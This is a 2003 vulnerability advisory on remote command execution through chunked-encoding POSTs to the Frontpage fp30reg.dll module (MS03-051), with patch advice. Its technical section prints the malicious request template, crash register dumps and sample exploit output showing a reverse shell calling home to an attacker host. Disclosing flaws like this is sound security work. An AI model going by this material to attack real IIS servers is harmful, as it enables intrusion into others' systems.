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## Security-Assessment.com – Vulnerability Advisory

<b>Name</b>	Frontpage Extensions Remote Command Execution
<b>Microsoft Advisory</b>	<a href="http://www.microsoft.com/technet/security/bulletin/ms03-051.asp">http://www.microsoft.com/technet/security/bulletin/ms03-051.asp</a>
<b>Date Released</b>	November 11, 2003
<b>Affected Software</b>	Microsoft Windows 2000 Service Pack 2, Service Pack 3 Microsoft Windows XP, Microsoft Windows XP Service Pack 1 Microsoft Office XP, Microsoft Office XP Service Release 1
<b>Researcher</b>	Brett Moore <a href="mailto:brett.moore@security-assessment.com">brett.moore@security-assessment.com</a>

### Description

After the discovery of two remote vulnerabilities in the nssiislog.dll module, we ran our custom vulnerability checker against the Frontpage extension modules. Within minutes it had discovered a vulnerability in the module fp30reg.dll.

The fp30reg.dll module does not properly handle requests that are sent using the chunked encoding transfer method. By sending a chunked encoded post to fp30reg.dll with a large body, an attacker can cause an IIS subsystem to stop with an access violation error, resulting in the following log message.

Event Type: Warning
Event Source: W3SVC
Event Category: None
Event ID: 37
Description: Out of process application '/LM/W3SVC/1/ROOT' terminated unexpectedly.

At the time of the error, attacker supplied data is been used in a write operation. This allows an attacker to write data to a memory location leading to remote command execution with privileges associated with the IWAM\_machinename account. This is the account that IIS runs under.

### Solutions

Every day is a 0-day day on the Internet. Limiting the avenues of attack can be a key factor in reducing the risk to a web server. Programs such as secureIIS and URLscan should be setup to reduce the number of methods that can be used to send data to a server. Removing unnecessary services, files and isapi extensions reduces the number of listeners that data can be fed to limiting the number of vulnerabilities that a server is susceptible to.

Install the vendor supplied patch.

<http://www.microsoft.com/technet/security/bulletin/ms03-051.asp>

### About Security-Assessment.com

Security-Assessment.com is a leader in intrusion testing and security code review, and leads the world with SA-ISO, online ISO17799 compliance management solution. Security-Assessment.com is committed to security research and development, and its team have previously identified a number of vulnerabilities in public and private software vendors products.



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## Technical Details

== Chunked Transfer-Encoding Post ==

POST /\_vti\_bin/\_vti\_aut/fp30reg.dll HTTP/1.1  
Transfer-Encoding: chunked

PostLength

PostData

0

== Exploitation ==

[Code Segment]

67D46AD3 mov ecx,dword ptr [ebx+edx+8]

67D46AD7 mov edi,dword ptr [ebx+edx+4]

67D46ADB mov dword ptr [ecx+4],edi

[Registers]

EAX = 046F83E8 EBX = 00000010 ECX = 58585858

EDX = 05450FEC ESI = 0000000C EDI = 58585858

EIP = 67D46ADB ESP = 0120F648 EBP = 0120F668

[EDX DUMP]

05450FEC 11 00 00 00 58 58 58 ....XXX

05450FF3 58 58 58 58 58 58 58 XXXXXXXX

05450FFA 58 58 58 58 58 58 58 XXXXXXXX

05451001 58 58 58 58 58 58 58 XXXXXXXX

05451008 58 58 58 58 58 58 58 XXXXXXXX

0545100F 58 58 58 58 58 58 58 XXXXXXXX

05451016 58 58 58 58 58 58 58 XXXXXXXX

== Exploit Example ==

%:\>exploit 192.168.1.63

\*\* FP30REG.DLL - Ver 4.0.2.5526 - Remote Shell \*\*

. Calling Home: blackhole:2000  
. Using: 0x-----h as writeable data space  
. Shellcode Size: 304 bytes  
. Preparing Exploit Buffer.....Ready  
. Starting Listener On Port: 2000  
. Connecting To 192.168.1.63  
. Sending Exploit.....Exploit Sent  
. Connection Received

Microsoft Windows 2000 [Version 5.00.2195]

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C:\WINNT\system32>whoami

IWAM\_BLACKHOLE

C:\WINNT\system32>

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